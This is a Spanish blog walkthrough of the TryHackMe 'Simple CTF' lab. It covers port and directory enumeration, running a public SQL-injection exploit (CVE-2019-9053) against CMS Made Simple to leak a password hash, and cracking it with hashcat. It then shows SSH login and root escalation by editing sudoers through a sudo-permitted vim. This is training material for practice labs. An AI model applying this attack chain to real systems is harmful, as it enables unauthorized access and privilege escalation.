TryHackMe – Simple CTF – Walkthrough

Esta es una de las máquina simples de TryHackMe, y se trata de un CTF guiado. Aqui se muestra el write up de la resolución de la máquina, no voy a poner las preguntas resueltas, tan solo el proceso.

Enlace a la máquina: https://tryhackme.com/room/easyctf

Reconocimiento

Se realiza un reconocimiento completo de servicios en la maquina con nmap.

sudo nmap 10.10.124.41 -sSV -p- -T5 --min-rate 50000 -Pn -n                      
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-04 06:35 CEST
Nmap scan report for 10.10.124.41
Host is up (0.054s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.78 seconds

Se detectan varios servicios, ftp, httpd y ssh por el puerto 2222.

En condiciones normales, lo suyo sería revisar cada una de las versiones de esos servicios y buscar con vulnerabilidades conocidas, pero esta máquina esta configurada para guiarte en el camino.

Se visita la URL y «http://ip_de_la_maquina/» y se tiene una página por defecto de apache.

Discovery con Gobuster

gobuster dir -u "http://10.10.124.41/" -w /usr/share/seclists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.124.41/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 291]
/.htaccess            (Status: 403) [Size: 296]
/.htpasswd            (Status: 403) [Size: 296]
/index.html           (Status: 200) [Size: 11321]
/robots.txt           (Status: 200) [Size: 929]
/server-status        (Status: 403) [Size: 300]
/simple               (Status: 301) [Size: 313] [--> http://10.10.124.41/simple/]
Progress: 4746 / 4747 (99.98%)
===============================================================
Finished
===============================================================

En el directorio /simple parece estar instalado un CMS: «CMS Made Simple

This site is powered by CMS Made Simple version 2.2.8

Se reliaza un segundo descubrimiento de directorios con gobuster, y se descubren algunas URLs de login en el admin panel, interesantes para probar fuerza bruta o ataques de SQL injection…

gobuster dir -u "http://10.10.124.41/simple/" -w /usr/share/seclists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.124.41/simple/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 303]
/.htpasswd            (Status: 403) [Size: 303]
/.hta                 (Status: 403) [Size: 298]
/admin                (Status: 301) [Size: 319] [--> http://10.10.124.41/simple/admin/]
/assets               (Status: 301) [Size: 320] [--> http://10.10.124.41/simple/assets/]
/doc                  (Status: 301) [Size: 317] [--> http://10.10.124.41/simple/doc/]
/index.php            (Status: 200) [Size: 19913]
/lib                  (Status: 301) [Size: 317] [--> http://10.10.124.41/simple/lib/]
/modules              (Status: 301) [Size: 321] [--> http://10.10.124.41/simple/modules/]
/tmp                  (Status: 301) [Size: 317] [--> http://10.10.124.41/simple/tmp/]
/uploads              (Status: 301) [Size: 321] [--> http://10.10.124.41/simple/uploads/]
Progress: 4746 / 4747 (99.98%)
===============================================================
Finished

Exploit

Tras investigar sobre el CMS y la versión, se descibre un CVE conocido y un exploit que podeis encontrar en los siguientes enlaces:

  • CVE: https://www.incibe.es/en/incibe-cert/early-warning/vulnerabilities/cve-2019-9053
  • Exploit: https://www.exploit-db.com/exploits/46635

Procedemos a descargar el script en python y hacerlo funcionar, lo primero que me doy cuenta es que el script esta en python2 y hoy en día se usa python3 (y es el que tengo instalado)

python 46635.py -u "http://10.10.124.41/simple/"                             1 ↵ zft
  File "/home/jade/thm/simplectf/46635.py", line 25
    print "[+] Specify an url target"
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
SyntaxError: Missing parentheses in call to 'print'. Did you mean print(...)?

Aqui te das cuenta que lo esta pasando es que esta usando python en su versión 2, porque una de las cosas «mas destacadas» que cambiaron fue el compartamiento de print

Dos opciones, o remodificar el codigo apra ponerlo a python3, con AI o usar python2.

He optado por la segunda.

En mi caso estoy usando arch linux y he tenido que instalar los siguiente paquetes:

sudo pacman -Sy python2 python2-requests python2-termcolor

Ejecutamos el script:

python 46635.py -u "http://10.10.124.41/simple/"

#resultado
[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: mitch
[+] Email found: [email protected]
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96

Ya tenemos la salt y el password. El propio script te da la posibilidad de usar un diccionario para tratar de cracker la contraseña, pero después de probarlo, parece que no funciona.. correctamente

Tras hacer algunas pruebas con John The Ripper con diferentes formatos… no terminaba de funcionar.

Por lo que decido usar Hashcat, sabiendo que la encriptación es MD5

echo "0c01f4468bd75d7a84c7eB73846e8d96:1dac0d92e9fa6bb2" > hash.txt

hashcat -m 20 -a 0 hash.txt ../rockyou.txt

Y el password es: ‘secret’

Otro camino habría sido tratar de realizar fuerza bruta en ssh con hydra y el usuario mitch.

Ya tenemos, revisamos el backend del cms en http://10.10.124.41/simple/admin/login.php pero no encontramos nada interesante.

Nos logueamos con SSH por el puerto 2222. Hay que tener en cuenta que si usamos el comando ssh sin especificar el puerto, este por defecto usará el puerto 22 y no funcionará.

Privilege escalation

Para privilage escalation he necesitado algo de ayuda de aqui: https://derek-toohey19.medium.com/tryhackme-simple-ctf-walkthrough-bd05cca1073f

La parte de escalada de privilegios no la tengo tan trabajada por ahora…

Pasamos rapidamente a una bash para mejorar la experiencia y revisamos los permisos que

mitch@Machine:~$ sudo -l
User mitch may run the following commands on Machine:
    (root) NOPASSWD: /usr/bin/vim

Por lo visto, se puede usr VIM para ejecutar comando, y se puede ejecutar VIM con sudo.

Lo más sencillo que he encontrado para escalar privilegios, es entrar de esta forma:

sudo vim

#dentro de vim
:!visudo

#Añadir lo siguiente
mitch ALL=(ALL:ALL) ALL

# Guardar y salir

De esta forma le estamos dando al usuario mitch capacidad para ejecutar sudo en nombre de cualquier usuario.

sudo su

#PWN3D
Comparte si te apetece.
LinkedIn
Email
Reddit
Telegram
X